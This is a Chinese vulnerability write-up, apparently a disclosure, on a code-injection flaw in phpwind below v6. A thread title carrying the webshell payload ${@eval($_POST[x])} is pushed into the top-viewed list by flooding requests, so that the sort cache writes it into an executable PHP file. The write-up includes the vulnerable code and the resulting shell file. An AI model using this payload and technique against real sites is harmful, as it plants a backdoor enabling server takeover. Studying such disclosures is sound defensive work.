phpwind/sort.php 会定期每天处理一次帖子的浏览量、回复量、精华版排序

代码直接使用savearray将数据库查询出来的内容写入php文件,savearray出来的参数,都使用"双引号来包含,所以可以利用变量来执行任意命令

elseif($action=='article'){

	$cachetime=@filemtime(D_P."data/bbscache/article_sort.php");

	if(!$per || $timestamp-$cachetime>$per*3600){

		$_SORTDB=$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.replies,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.replies DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			if($topic['replies']){

				$topic['subject']=substrs($topic['subject'],25);

				$_sort[]=$topic;

			}

		}

		$_SORTDB['reply']=$_sort;

		$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.hits,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.hits DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			if($topic['hits']){

				$topic['subject']=substrs($topic['subject'],25);

				$_sort[]=$topic;

			}

		}

		$_SORTDB['hit']=$_sort;

		$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.digest,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.digest<>'0' AND t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden'  ORDER BY t.lastpost DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			$topic['subject']=substrs($topic['subject'],25);

			$_sort[]=$topic;

		}

		$_SORTDB['digest']=$_sort;

		$ARTICLEDB=savearray('_ARTICLEDB',$_SORTDB);

		writeover(D_P.'data/bbscache/article_sort.php',"<?php\r\n".$ARTICLEDB.'?>');

	}

  

发表一个帖子:标题如下

code 区域

${@eval($_POST[x])}XXXX

再开一个多线程(100线程,几分钟就可以了),请求访问那个帖子,直到帖子的访问量排入前20

function savearray($name,$array){

	$arraydb="\$$name=array(\r\n\t\t";

	foreach($array as $key=>$value){

		$arraydb.="'".$key."'=>\narray(\r\n\t\t\t";

		foreach($value as $value1){

			$arraydb.='array(';

			foreach($value1 as $value2){

				$arraydb.='"'.addslashes($value2).'",';

			}

			$arraydb.="),\r\n\t\t\t";

		}

		$arraydb.="),\r\n\t\t";

	}

	$arraydb.=");\r\n";

	return $arraydb;

  

二天,生成统计排行的时候,shell就躺在了 /data/bbscache/article_sort.php

三个白帽实际演示:http://**.**.**.**/data/bbscache/article_sort.php

漏洞证明:

/data/bbscache/article_sort.php

<?php

$_ARTICLEDB=array(

		'reply'=>

array(

			array("1","${@eval($_POST[x])}XXXX ..","5732","2",),

			array("10","DDDDDDDDDDDDDDDDD","20","2",),

			array("7","HI Everybody (  b)ம","8","2",),

			array("3","hello","5","2",),

			array("5","䜲⊔","3","2",),

			array("2","test","3","2",),

			array("9","AAAAAAAAAAAAA","2","2",),

			array("6","ִА⫢,"1","2",),

			array("8","⵽բ萾ዢ,"1","2",),

			),

		'hit'=>

array(

			array("1","${@eval($_POST[x])}XXXX ..","11382","2",),

			array("2","test","3235","2",),

			array("3","hello","985","2",),

			array("5","䜲⊔","331","2",),

			array("7","HI Everybody (  b)ம","123","2",),

  

phpwind < v6 版本命令执行漏洞的更多相关文章

  1. phpwind v9存在命令执行漏洞(登陆后台)

    已知漏洞:https://www.seebug.org/vuldb/ssvid-94465 phpwind v9最新版存在命令执行漏洞(登陆后台) Phpwind_v9.0.2(最新版),phpwin ...

  2. Samba 4.x.x全版本存在命令执行漏洞

    Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...

  3. 泛微OA系统多版本存在命令执行漏洞

    0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA ...

  4. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/de ...

  5. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  6. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  7. WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析

    漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...

  8. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  9. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

随机推荐

  1. 对于Eclipse的正确用法

    有时候我们刚刚修改了工程里的文件 但是启动的时候它硬是说你有东西没有声明 而那个东西又明明在那里.. 这时候我们可以认为实际与它调用的工程关系文件(我假想的) 不同步.. 我们可以通过clean功能来 ...

  2. ImageSpan

    自定义ImageSpan继承类,可以设置图片大小和位置 import android.content.Context; import android.graphics.Bitmap; import a ...

  3. Java会出现"unreachable code"错误的几个例子

    public class exam { static int num=5; static int m1(){ try{ num=6; throw new NullPointerException(); ...

  4. RxJava 的使用入门

    一.什么是 RxJava? RxJava 是一个响应式编程框架,采用观察者设计模式.所以自然少不了 Observable 和 Subscriber 这两个东东了. RxJava 是一个开源项目,地址: ...

  5. Android学习系列(41)--Android Studio简单使用

    1. 环境 UBUNTU 14.04 + Android Studio 0.8.2 2. 安装jdk openjdk-7是一个很好的选择: sudo apt-get update sudo apt-g ...

  6. poj2184 01背包变形,价值为可为负数

    题目链接:http://poj.org/problem?id=2184 题意:每行给出si和fi,代表牛的两个属性,然后要求选出几头牛,满足S与F都不能为负数的条件下,使S与F的和最大. tips:动 ...

  7. AngularJS学习之SQL

    1.使用PHP从MySQL中读取数据: <div ng-app="myApp" ng-controller="customersCtrl" > &l ...

  8. S5中新增的Array方法详细说明

      ES5中新增的Array方法详细说明 by zhangxinxu from http://www.zhangxinxu.com 本文地址:http://www.zhangxinxu.com/wor ...

  9. Python基础5- 运算符

    Python的运算符和其他语言的类似,主要有:算术运算符.比较运算符.逻辑运算符.赋值运算符.成员运算符.位运算符 ----------------------------------------算术 ...

  10. 为WPF和Silverlight的Grid添加边框线(zz)

      Grid是WPF和Silverlight中的一个重要的布局元素,其他的布局元素还有StackPanel, Canvas, Border等等.从字面上说,Grid是一个表格的意思,它的使用也确实很方 ...